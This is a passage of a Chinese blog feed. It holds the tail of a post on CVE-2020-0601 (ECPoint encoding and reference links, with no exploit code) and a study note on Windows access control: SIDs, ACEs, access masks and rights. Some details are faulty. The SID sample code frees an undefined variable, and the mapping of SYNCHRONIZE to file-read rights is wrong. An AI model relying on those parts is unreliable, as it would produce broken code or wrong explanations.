OCTETSTRING</span><br></pre></td></tr></table></figure><p>椭圆曲线加密算法中对ECPoint的实现是未加密的形式。<br>这个<code>ECPoint</code>虽然定义为<code>OCTETSTRING</code>，但是实际上会映射到<code>subectPublicKey</code>这个类型上。当前定义的第一个字节将会表明当前对象是否为压缩。若当前的密钥是未压缩的，则此时的开头为<strong>0x4</strong>，如果是压缩过的，则可能是<strong>0x2/0x3</strong></p><p>未压缩的<code>ECPoint</code>一般是65字节的。去掉开头的<code>0x4</code>，则之后64字节平分为两部分，前面32字节为<code>Point.x</code>后面32字节为<code>Point.y</code>。</p><h2 id="参考链接">参考链接</h2><p><a href="https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0601">https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0601</a><br><a href="https://msrc-blog.microsoft.com/2020/01/14/january-2020-security-updates-cve-2020-0601/">https://msrc-blog.microsoft.com/2020/01/14/january-2020-security-updates-cve-2020-0601/</a><br><a href="https://github.com/kudelskisecurity/chainoffools">https://github.com/kudelskisecurity/chainoffools</a><br><a href="https://www.itu.int/ITU-T/formal-language/itu-t/x/x509/2005/AuthenticationFramework.html">https://www.itu.int/ITU-T/formal-language/itu-t/x/x509/2005/AuthenticationFramework.html</a></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;一直企图复现CVE，这次来了个简单的，让我研究一哈&lt;/p&gt;
&lt;h2 id=&quot;more-cve-2020-0601-的相关了解&quot;&gt;&lt;/h2&gt;</summary>
    
    
    
    
    <category term="CVE" scheme="https://showlinkroom.me/tags/CVE/"/>
    
    <category term="Windows" scheme="https://showlinkroom.me/tags/Windows/"/>
    
  </entry>
  
  <entry>
    <title>Windows Via C/C++ note 4</title>
    <link href="https://showlinkroom.me/2019/12/25/Windows-Via-C-C-note-4/"/>
    <id>https://showlinkroom.me/2019/12/25/Windows-Via-C-C-note-4/</id>
    <published>2019-12-25T13:42:14.000Z</published>
    <updated>2020-07-16T13:31:30.429Z</updated>
    
    <content type="html"><![CDATA[<p>说到安全防护，以前听到很多的声音说 Windows 的安全防护做的没有 Linux 的好。其实我也不太懂Linux或者Windows做了些啥，不过就是无脑跟风这种声音。这一篇将会介绍一下 Windows 在安全防护上究竟做了一些什么。</p><h2 id="more-windows-安全相关-上"><span id="more"></span><br>Windows 安全相关（上）</h2><p><em>在这一章节将会出现大量的定义来说明清楚一些功能，所以可能会出现【定义之间相互嵌套】【某些同义词被混用】的情况。我会尽可能的避免，不过可能还是有这种事情，所以对于全局搜索关键字来找上下文来说可能会有点不方便。。。并且文章内容很多，可能会分成两部分</em></p><h1 id="基本介绍">基本介绍</h1><h2 id="安全对象-securable-objects">安全对象 Securable Objects</h2><p>标准定义为：安全对象就是能够拥有<strong>安全描述符</strong>的对象。基本上就是 Windows 中定义的大部分<strong>内核对象</strong>。具体来讲，就是</p><ul><li>所有的命名对象</li><li>部分无名对象，例如进程和线程。</li></ul><p>每一种不同的安全对象都定了属于自己的对安全描述符的控制函数。例如对于文件对象来捉，相关的安全描述符操控API就有:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">GetNamedSecurityInfo, SetNamedSecurityInfo, GetSecurityInfo, SetSecurityInfo</span><br></pre></td></tr></table></figure><p>这四种。<br>具体的定义可以查看这里:<br><a href="https://docs.microsoft.com/en-us/windows/win32/secauthz/securable-objects">https://docs.microsoft.com/en-us/windows/win32/secauthz/securable-objects</a></p><h2 id="安全标识符-sid-security-identifier">安全标识符 SID security identifier</h2><p>基本上，所有的安全对象，安全对象从属的组(Group)，以及安全对象被定义的规则 ACE 等等，用来<strong>确定一个安全操作实体的唯一标识符</strong>，就是SID。SID的结构如下:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="keyword">struct</span> <span class="title class_">_SID</span> &#123;</span><br><span class="line">  BYTE                     Revision;</span><br><span class="line">  BYTE                     SubAuthorityCount;</span><br><span class="line">  SID_IDENTIFIER_AUTHORITY IdentifierAuthority;</span><br><span class="line"><span class="meta">#<span class="keyword">if</span> ...</span></span><br><span class="line">  DWORD                    *SubAuthority[];</span><br><span class="line"><span class="meta">#<span class="keyword">else</span></span></span><br><span class="line">  DWORD                    SubAuthority[ANYSIZE_ARRAY];</span><br><span class="line"><span class="meta">#<span class="keyword">endif</span></span></span><br><span class="line">&#125; SID, *PSID;</span><br></pre></td></tr></table></figure><p>其实就是一串数字定义，SDK中的的定义如下:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">////////////////////////////////////////////////////////////////////////</span></span><br><span class="line"><span class="comment">//                                                                    //</span></span><br><span class="line"><span class="comment">//              Security Id     (SID)                                 //</span></span><br><span class="line"><span class="comment">//                                                                    //</span></span><br><span class="line"><span class="comment">////////////////////////////////////////////////////////////////////////</span></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"><span class="comment">// Pictorially the structure of an SID is as follows:</span></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"><span class="comment">//         1   1   1   1   1   1</span></span><br><span class="line"><span class="comment">//         5   4   3   2   1   0   9   8   7   6   5   4   3   2   1   0</span></span><br><span class="line"><span class="comment">//      +---------------------------------------------------------------+</span></span><br><span class="line"><span class="comment">//      |      SubAuthorityCount        |Reserved1 (SBZ)|   Revision    |</span></span><br><span class="line"><span class="comment">//      +---------------------------------------------------------------+</span></span><br><span class="line"><span class="comment">//      |                   IdentifierAuthority[0]                      |</span></span><br><span class="line"><span class="comment">//      +---------------------------------------------------------------+</span></span><br><span class="line"><span class="comment">//      |                   IdentifierAuthority[1]                      |</span></span><br><span class="line"><span class="comment">//      +---------------------------------------------------------------+</span></span><br><span class="line"><span class="comment">//      |                   IdentifierAuthority[2]                      |</span></span><br><span class="line"><span class="comment">//      +---------------------------------------------------------------+</span></span><br><span class="line"><span class="comment">//      |                                                               |</span></span><br><span class="line"><span class="comment">//      +- -  -  -  -  -  -  -  SubAuthority[]  -  -  -  -  -  -  -  - -+</span></span><br><span class="line"><span class="comment">//      |                                                               |</span></span><br><span class="line"><span class="comment">//      +---------------------------------------------------------------+</span></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"><span class="comment">//</span></span><br></pre></td></tr></table></figure><p>简单来说，一般由以下这几部分组成：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">+----------------|------------------------------|-----------------------------------------------------|</span><br><span class="line">|SID结构体版本号 |48bit的身份授权（authority）值|32bit的子认证（subauthority）机构或者相对标识符（RID）|</span><br><span class="line">+----------------|------------------------------|-----------------------------------------------------|</span><br><span class="line">S-R-X-Y1-Y2-Yn-1-Yn</span><br></pre></td></tr></table></figure><ul><li>S: 表示这段字符串是一段SID</li><li>R：表示当前版本号</li><li>X：表示身份授权机构的值</li><li>Y：子授权机构的相关值<ul><li>Y1 - Yn-1:这些一般是域身份标识符</li><li>Yn：用来标识当前身份在当前域中的身份</li></ul></li></ul><p>一个SID的格式一般为:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">S-1-5-21-3132430673-2316732214-352203560-1001</span><br></pre></td></tr></table></figure><p>这个SID是我机器上用户的SID。<br>身份授权机构的值（上述的5）定义了提出SID的从属对象，例如<strong>5</strong>来表示当前的SID是由<code>Windows local system/Domain</code>这一块提出，则这一段SID将会与<code>Windows local system/Domain</code>相关。<br>子授权值表明了与身份授权机构相关的身份的委托人标识符。如果用刚刚的例子继续表示的话，<strong>21</strong>就是子授权机构。</p><h3 id="rid">RID</h3><p>RID（上述的Yn)表述域内用户的身份。一般普通用户从1000开始，每出现一个普通用户（User）就+1。如果一个SID的RID=1003，意味着已经有4个User在这个电脑上了。其中这些RID有一些是默认值，例如:</p><ul><li>500：admin</li><li>501：guest</li></ul><p>除了上述提到的RID有固定的定义，其实还有许多SID是微软预定义的，例如:<br>除此之外，还有一些微软预定义的SID，例如:</p><ul><li>S-1-5-32-544：内置管理员组</li></ul><p>这里的<code>32</code>表示的域其实是表示的内置（builtin）的意思。所以每台计算机上都会有一个当前内建组。<br>除此之外还有:</p><ul><li>S-1-0-0: Nobody (SID不知道的时候使用)</li><li>S-1-1-0: Everyone (除了anonymous之外的所有人)</li><li>S-1-2-0: Local （凡是登陆了当前中断机的人）</li><li>S-1-3-0：Creator Owner ID (通常在ACE（Acess Control Entry)中使用，表明会被创建者的SID替换）</li><li>S-1-3-1：Create Group ID（同上，只是会被创建者的个人组替换）</li><li>S-1-5-18：Local System account（就是System）</li><li>S-1-5-19：Local Service account（这个是Local service，不同于system）</li><li>S-1-5-20：Network Service account（这个是Network service，不同于system）</li></ul><p>进程Winlogin 会为每一个互动登陆回话创建一个独立的登陆SID。一个典型的logon SID的作用就是对于每一个登陆用户在登陆期间的回话中的权限控制ACE（Aceess Control Entry）。例如API</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">LogonUser</span><br></pre></td></tr></table></figure><p>可以用来创建一个新的登陆会话。API将会返回一个<strong>access token</strong>。这个access token可以被service解析成login SID。这个SID将可以在各种ACE中被使用来控制权限。这种Logon SID的形式一般为:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">S-1-5-5-X-Y</span><br></pre></td></tr></table></figure><h3 id="sid使用的场合">SID使用的场合</h3><p>正如前文所说，<strong>确定一个安全操作实体的唯一标识符</strong>，具体来说包括</p><ul><li>安全描述符（Security Descriptor）：确认对象（objet，例如内核对象）的从属者（owner）和主要组（primary group）</li><li>访问控制实体（Access Control Entries）：确认这个SID绑定的用户拥有的权限(allow, denied, audited)</li><li>访问令牌（Access Tokens）：确认当前用户以及当前用户（User）从属的组（Group）</li></ul><h3 id="guid与sid">GUID与SID</h3><p>AD（Active Directory）会将一个用户SID存储在用户或者组对象的<code>ObjectSID</code>这个属性中。如果这个对象/组是新创建的话，还会给这个对象赋予一个GUID值。这个guid则是存放在<code>ObjectGUID</code>这个属性中。</p><p>SID只能保证在域<code>domain</code>中的唯一性。如果一个用户从一个域迁移到另一个域的时候，必须要获得一个新的SID。此时上一个SID会存储在属性<code>SIDHistory（一个list）</code>中。</p><p>当认证通过的时候，domain里的认证机构将会查询和当前用户相关的所有SID，包括</p><ul><li>当前的SID（ObjectSID）</li><li>用户曾经用过的SID（SIDHistory）</li><li>用户从属组的SID</li></ul><p>这些值都会被计算，然后将所有计算出能够获得的权限放在<code>token</code>中。</p><blockquote><p>假设A用户被设置对B资源的权限为deny，如果用户换了域之后，此时的SIDObject未被设置Deny，那么A用户可以接触资源B吗？</p></blockquote><p>这个是不可以的，SIDHistory中会记录当前deny的结果。</p><h4 id="capability-sids">Capability SIDs</h4><p>Capability SID 用于<code>UWP</code>进程，也就是从Win8开始出现的<code>AppContainer</code>进程中的权限管理。这个SID用于管理一些比较上层的资源，通常包括文档，摄像头等。</p><p><img src="/2019/12/25/Windows-Via-C-C-note-4/sid01.png" alt=""></p><p>这类SID的开头标志通常为:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">S-1-15-3</span><br></pre></td></tr></table></figure><h4 id="实例：创建一个sid对象">实例：创建一个SID对象</h4><p>Windows提供了一套相关的API，放在了<code>acl</code>这个头文件里面。不过需要在代码的前面加上:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">#pragma comment(lib,&quot;Advapi32&quot;)</span><br></pre></td></tr></table></figure><p>来表示自己引用了这个lib库。</p><p>创建一个SID的代码如下:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">SID_IDENTIFIER_AUTHORITY SIA_NT = SECURITY_NT_AUTHORITY;</span><br><span class="line">PSID pAdminSID = <span class="literal">nullptr</span>;</span><br><span class="line">BOOL bRet = <span class="built_in">AllocateAndInitializeSid</span>(</span><br><span class="line">&amp;SIA_NT, <span class="number">2</span>, SECURITY_BUILTIN_DOMAIN_RID,</span><br><span class="line">DOMAIN_ALIAS_RID_ADMINS, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>, &amp;pAdminSID);</span><br><span class="line"><span class="keyword">if</span> (bRet)</span><br><span class="line">&#123;</span><br><span class="line">    std::cout &lt;&lt; <span class="string">&quot; Create admin sid success&quot;</span> &lt;&lt;std::endl;</span><br><span class="line">    <span class="built_in">FreeSid</span>(AdministratorsGroup);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这是一个手动创建SID的过程。首先我们来看这个SID的整体定义:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">ifndef</span> SID_IDENTIFIER_AUTHORITY_DEFINED</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> SID_IDENTIFIER_AUTHORITY_DEFINED</span></span><br><span class="line"><span class="keyword">typedef</span> <span class="keyword">struct</span> <span class="title class_">_SID_IDENTIFIER_AUTHORITY</span> &#123;</span><br><span class="line">    BYTE  Value[<span class="number">6</span>];</span><br><span class="line">&#125; SID_IDENTIFIER_AUTHORITY, *PSID_IDENTIFIER_AUTHORITY;</span><br><span class="line"><span class="meta">#<span class="keyword">endif</span></span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="keyword">ifndef</span> SID_DEFINED</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> SID_DEFINED</span></span><br><span class="line"><span class="keyword">typedef</span> <span class="keyword">struct</span> <span class="title class_">_SID</span> &#123;</span><br><span class="line">   BYTE  Revision;</span><br><span class="line">   BYTE  SubAuthorityCount;</span><br><span class="line">   SID_IDENTIFIER_AUTHORITY IdentifierAuthority;</span><br><span class="line"><span class="meta">#<span class="keyword">ifdef</span> MIDL_PASS</span></span><br><span class="line">   [<span class="built_in">size_is</span>(SubAuthorityCount)] DWORD SubAuthority[*];</span><br><span class="line"><span class="meta">#<span class="keyword">else</span> <span class="comment">// MIDL_PASS</span></span></span><br><span class="line">   DWORD SubAuthority[ANYSIZE_ARRAY];</span><br><span class="line"><span class="meta">#<span class="keyword">endif</span> <span class="comment">// MIDL_PASS</span></span></span><br><span class="line">&#125; SID, *PISID;</span><br><span class="line"><span class="meta">#<span class="keyword">endif</span></span></span><br></pre></td></tr></table></figure><p>定义了<code>SIA_NT</code>，这个值对应的宏<code>SECURITY_NT_AUTHORITY</code>其实是一个<code>SID_IDENTIFIER_AUTHORITY</code>对象。在这里:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">////////////////////////////////////////////////////////////////////////</span></span><br><span class="line"><span class="comment">//                                                                    //</span></span><br><span class="line"><span class="comment">//              Security Id     (SID)                                 //</span></span><br><span class="line"><span class="comment">//                                                                    //</span></span><br><span class="line"><span class="comment">////////////////////////////////////////////////////////////////////////</span></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"><span class="comment">// Pictorially the structure of an SID is as follows:</span></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"><span class="comment">//         1   1   1   1   1   1</span></span><br><span class="line"><span class="comment">//         5   4   3   2   1   0   9   8   7   6   5   4   3   2   1   0</span></span><br><span class="line"><span class="comment">//      +---------------------------------------------------------------+</span></span><br><span class="line"><span class="comment">//      |      SubAuthorityCount        |Reserved1 (SBZ)|   Revision    |</span></span><br><span class="line"><span class="comment">//      +---------------------------------------------------------------+</span></span><br><span class="line"><span class="comment">//      |                   IdentifierAuthority[0]                      |</span></span><br><span class="line"><span class="comment">//      +---------------------------------------------------------------+</span></span><br><span class="line"><span class="comment">//      |                   IdentifierAuthority[1]                      |</span></span><br><span class="line"><span class="comment">//      +---------------------------------------------------------------+</span></span><br><span class="line"><span class="comment">//      |                   IdentifierAuthority[2]                      |</span></span><br><span class="line"><span class="comment">//      +---------------------------------------------------------------+</span></span><br><span class="line"><span class="comment">//      |                                                               |</span></span><br><span class="line"><span class="comment">//      +- -  -  -  -  -  -  -  SubAuthority[]  -  -  -  -  -  -  -  - -+</span></span><br><span class="line"><span class="comment">//      |                                                               |</span></span><br><span class="line"><span class="comment">//      +---------------------------------------------------------------+</span></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"><span class="comment">//</span></span><br></pre></td></tr></table></figure><p>就是<code>IdentifierAuthority</code>这个成员变量，其对应的数值<code>&#123;0,0,0,0,5&#125;</code>，根据约定，这个值就表示当前SID的授权机构是<code>NT</code>。基本可以和本地安全对象以及admin相关的SID都是由这个机构授权的。</p><p>第二个参数是<code>SubAuthority Count</code>，我们给了2，表示当前存在两个子授权机构。根据代码，分别是<code>SECURITY_BUILTIN_DOMAIN_RID(0x00000020L)</code>和<code>DOMAIN_ALIAS_RID_ADMINS(0x00000220L)</code>。前者表明，当前子授权机构为当前的内置域（built-in domain），此时当前的SID所在的组可以认为是为<code>S-1-5-0x20</code>，然后后者<code>DOMAIN_ALIAS_RID_ADMINS</code>则是一个已知别名（well-known aliases），表示是域内的一个管理员（Admin）。将这两个颁发机构组合一下，就能够知道当前的SID为:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">S-1-5-0x20-0x220</span><br></pre></td></tr></table></figure><p>也就是表示<strong>当前域内管理员</strong>这个含义，其实也就是常见的管理员SID。用相关工具可以查看:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">PsGetsid.exe S-1-5-32-544</span><br><span class="line"></span><br><span class="line">PsGetSid v1.45 - Translates SIDs to names and vice versa</span><br><span class="line">Copyright (C) 1999-2016 Mark Russinovich</span><br><span class="line">Sysinternals - www.sysinternals.com</span><br><span class="line"></span><br><span class="line">Account for DESKTOP-7UDMUOF\S-1-5-32-544:</span><br><span class="line">Alias: BUILTIN\Administrators</span><br></pre></td></tr></table></figure><h2 id="ace-access-control-entry-访问控制实体">ACE Access Control Entry 访问控制实体</h2><p>访问控制实体（ACE）是ACL（Access Control List 访问控制链）中的一个元素，每个ACL可能包含多个ACE。ACE 用来控制/监控每一个特定受托者(Trustee)对对象的各类权限（读写，执行等）</p><p>Windows 中存在6中不同的ACE，其中有三种是所有的Windows对象共用的</p><table><thead><tr><th>Type</th><th>Description</th></tr></thead><tbody><tr><td>Access-denied ACE</td><td>在DACL中用来拒绝一个受托者的访问</td></tr><tr><td>Access-allowed ACE</td><td>在DACL中用来允许一个受托者的访问</td></tr><tr><td>System-audit ACE</td><td>当托管尝试执行相关权限的时候，在SACL中生成一个审计日志</td></tr></tbody></table><h3 id="ace-访问权限和访问掩码-access-rights-and-access-masks">ACE 访问权限和访问掩码 (Access Rights and Access Masks)</h3><p>访问权限(Access Rights)是一个由 bit 位组成的flag，用来表示线程可以对安全对象进行的操作。<br>访问掩码(Access Masks)是一个32-bit的整数，其中的每一个bit都表示了一个对象支持的一种访问权限。所有的Windows 安全对象都会使用一种叫做<code>access mask format</code>(访问掩码格式)的方式存储访问方式。这其中包含如下的访问权限:</p><ul><li>通用访问权限（Generic access rights）</li><li>标准访问权限（Standard access rights）</li><li>SACL</li><li>目录服务访问权限（Directory services access rights）</li></ul><p>当线程尝试打开一个对象句柄的时候，就会请求响应的安全掩码来请求对应的访问权限。不同的对象有不同的设置访问掩码的API</p><h4 id="access-mask-format-访问掩码格式">Access Mask Format 访问掩码格式</h4><p>上文提到的访问掩码格式在内存中的保存形式通常如下:</p><p><img src="/2019/12/25/Windows-Via-C-C-note-4/sid04.png" alt=""></p><ul><li><p>低16bit通常用来表示一个对象特定的权限</p></li><li><p>之后的8bit用来表示标准访问权限，对应的权限分别是</p></li><li><p>16bit DELETE</p></li><li><p>17bit READ_CONTROL</p></li><li><p>18bit WRITE_DAC</p></li><li><p>19bit WRITE_OWNER</p></li><li><p>20bit SYNCHRONIZE</p></li><li><p>24bit <code>ACCESS_SYSTEM_SECURITY</code>用来表示对对象的SACL的访问权限。</p></li><li><p>25bit 为 Maximum allowd(MAXIMUM_ALLOWED)，可以用来获得一个对象的所有访问权限（但是ACE对象不能以这个权限打开）</p></li><li><p>最高位的4bit用来表示通用访问权限</p></li></ul><h4 id="generic-access-rights-通用访问权限">Generic Access Rights 通用访问权限</h4><p>这个权限表示的是<strong>每一个安全对象都会拥有的一些权限（但是细节上指代的并不是相同的内容）</strong>。每一个Windows下的安全对象都会将这些权限映射到一些合适的权限上。例如<code>Windows</code>下的文件对象会将<code>GENERIC_READ</code>映射到<code>READ_CONTROL</code>这个权限上，而<code>SYNCHRONIZE</code>这个权限则会映射到<code>FILE_READ_DATA,FILE_READ_EA,FILE_READ_ATTRIBUTES</code>   这三个权限上。不同的对象都会有不同的映射方式。<br>当尝试打开一个对象句柄的时候，就能够指定我们需要的权限。<br>通用访问权限总共有如下几种:</p><table><thead><tr><th>Constant</th><th>Generic meaning</th></tr></thead><tbody><tr><td>GENERIC_ALLAll</td><td>possible access rights</td></tr><tr><td>GENERIC_EXECUTE</td><td>Execute access</td></tr><tr><td>GENERIC_READ</td><td>Read access</td></tr><tr><td>GENERIC_WRITE</td><td>Write access</td></tr></tbody></table><h4 id="standard-access-rights-标准访问权限">Standard Access Rights 标准访问权限</h4><p>每种安全对象都有一组访问权限，这些访问权限针对于当前对象的特定操作。除了这种特定对象的访问权限，还有上述提到的通用访问权限，用于指代每一个安全对象中都有的通用权限控制。<br><code>Winnt.h</code>中定义的标准访问权限有如下几种：</p><table><thead><tr><th>Constant</th><th>Meaning</th></tr></thead><tbody><tr><td>DELETE</td><td>删除对象的权限</td></tr><tr><td>READ_CONTROL</td><td>读取对象安全描述符的权限，但是不包括SACL</td></tr><tr><td>SYNCHRONIZE</td><td>同步对象的权限。这个权限保证线程能够等待这个对象，直到这个对象进入信号状态(signaled state)（也就是能够wait mutex一类的）有一些对象不支持这个访问权限</td></tr><tr><td>WRITE_DAC</td><td>修改对象安全描述符中的DACL的权限</td></tr><tr><td>WRITE_OWNER</td><td>修改对象安全描述符中的从属者(onwer)</td></tr></tbody></table><p><code>Winnt.h</code>中还定义了一些上述权限的组合（这个用的比较多）</p><table><thead><tr><th>Constant</th><th>Meaning</th></tr></thead><tbody><tr><td>STANDARD_RIGHTS_ALL</td><td>Combines DELETE, READ_CONTROL, WRITE_DAC, WRITE_OWNER, and SYNCHRONIZE access.</td></tr><tr><td>STANDARD_RIGHTS_EXECUTE</td><td>Currently defined to equal READ_CONTROL.</td></tr><tr><td>STANDARD_RIGHTS_READ</td><td>Currently defined to equal READ_CONTROL.</td></tr><tr><td>STANDARD_RIGHTS_REQUIRED</td><td>Combines DELETE, READ_CONTROL, WRITE_DAC, and WRITE_OWNER access.</td></tr><tr><td>STANDARD_RIGHTS_WRITE</td><td>Currently defined to equal READ_CONTROL.</td></tr></tbody></table><h4 id="directory-services-access-rights-目录服务访问权限">Directory Services Access Rights 目录服务访问权限</h4><p>每一个AD（Active Directory）对象都有一个安全描述符。一系列指定为目录服务的的受托者能够被设置在安全描述符内。具体可以查看<a href="https://docs.microsoft.com/en-us/windows/win32/secauthz/directory-services-access-rights">这里</a></p><h4 id="sacl访问权限">SACL访问权限</h4><p>SACL的访问权限收到之前提到的<code>ACCESS_SYSTEM_SECURITY</code>bit位的控制。只有在<code>access token(访问token）</code>活动了<code>SE_SECURITY_NAME</code>的特权的时候，才能够修改SACL。MSDN上给出的访问对象SACL的途径为：</p><ul><li>调用<code>AdjustTokenPrivileges</code>获得<code>SE_SECURITY_NAME</code>特权。</li><li>打开对象句柄的时候，请求<code>ACCESS_SYSTEM_SECURITY</code>权限。</li><li>通过调用<code>GetSecurityInfo/SetSecurityInfo</code>尝试获取SACL。</li><li>操作结束后，调用<code>AdjustTokenPrivileges</code>来去除<code>SE_SECURITY_NAME</code>特权。</li></ul><h3 id="ace的继承关系">ACE的继承关系</h3><p>通常的ACE都是具有继承关系的（具体来说，就是设置了INHERITED_ACE这个标志位）。ACE的继承关系为：</p><ul><li>一个ACL中的ACE继承顺序受到其插入到ACL中的顺序影响。</li><li>设置了INHERITED_ACE权限的ACE可以被继承。</li><li>对于AppContainer进程，需要设置了特殊的标志位才能够被继承。</li></ul><h3 id="object-specific-aces-特定对象aces">Object-specific ACEs 特定对象ACEs</h3><p>这个对象用于支持<code>directory service(DS)</code>。也就是如果一个对象中的属性按照类似于目录的形式保存的时候，可以特定对象中对于一些属性的访问权限。<br>一个<code>DS</code>对象的<code>DAC对于App L</code>可以包含一个具有层级关系的ACEs，具有如下特性</p><ul><li>保护对象本身的ACEs</li><li>保护对象中，指定属性集合的<strong>特定对象ACEs</strong></li><li>保护对象中，指定属性的<strong>特定对象ACEs</strong></li></ul><p>使用阶级关系的ACE，就能对更加底层的属性进行设置。如果一个作用在属性集上的特定对象ACE允许一个受托者<code>ADS_RIGHT_DS_READ_PROP </code>的权限，那么这个受托者将会被隐式的允许读取这个属性集下的所有属性。相似的，如果一个作用在对象的ACE允许一个受托者<code>ADS_RIGHT_DS_READ_PROP</code>的权限，那么这个受托者将能够直接读取对象中的所有属性。<br>特定对象ACE包含了一些GUID，用于特定对象的一些基本属性。（通常用于对象继承）<br><strong>实例</strong><br>下图展示了的DS对象的树及其属性集和属性。</p><p><img src="/2019/12/25/Windows-Via-C-C-note-4/sid02.png" alt=""></p><p>加入想要对DS对象的属性进行如下的控制:</p><ul><li>允许GroupA的人访问对象的所有属性</li><li>允许每个人访问除了属性D以外的所有属性</li></ul><p>那么属性可以以如下的方式展示:</p><table><thead><tr><th>Trustee</th><th>Object GUID</th><th>ACE type</th><th>Access rights</th></tr></thead><tbody><tr><td>Group A</td><td>None</td><td>Access-allowed ACE</td><td><code>ADS_RIGHT_DS_READ_PROP | ADS_RIGHT_DS_WRITE_PROP</code></td></tr><tr><td>Everyone</td><td>Property Set 1</td><td>Access-allowed object ACE</td><td><code>ADS_RIGHT_DS_READ_PROP | ADS_RIGHT_DS_WRITE_PROP</code></td></tr><tr><td>Everyone</td><td>Property C</td><td>Access-allowed object ACE</td><td><code>ADS_RIGHT_DS_READ_PROP | ADS_RIGHT_DS_WRITE_PROP</code></td></tr></tbody></table><p>由于DACL默认未设置的对象就会被deny，所以这边需要写清楚allow的权限。首先GroupA中不知名Object GUID，表明这个ACE将会作用在Object的所有属性上，所以GroupA的人将会获得对这个对象所有属性的读写权限。而EvenryOne第一次设置的Object GUID为属性集1，此时根据上图可知，Everyone拥有对属性AB的读写权限。最后一个ACE设置了Object GUID为属性C，此时表明Everyone将对属性C有访问权限。所以此时Everyone将无法对属性D进行访问。</p><h2 id="trustee-受托者">Trustee 受托者</h2><p>说白了就是ACE的从属者。可以是应用ACE的一个用户的账户，一个登陆的session或者一个组。每一个在ACL中的ACE都会有一个SID。<br><em>这里的账户除了指用户登陆之外，还可以指代Windows 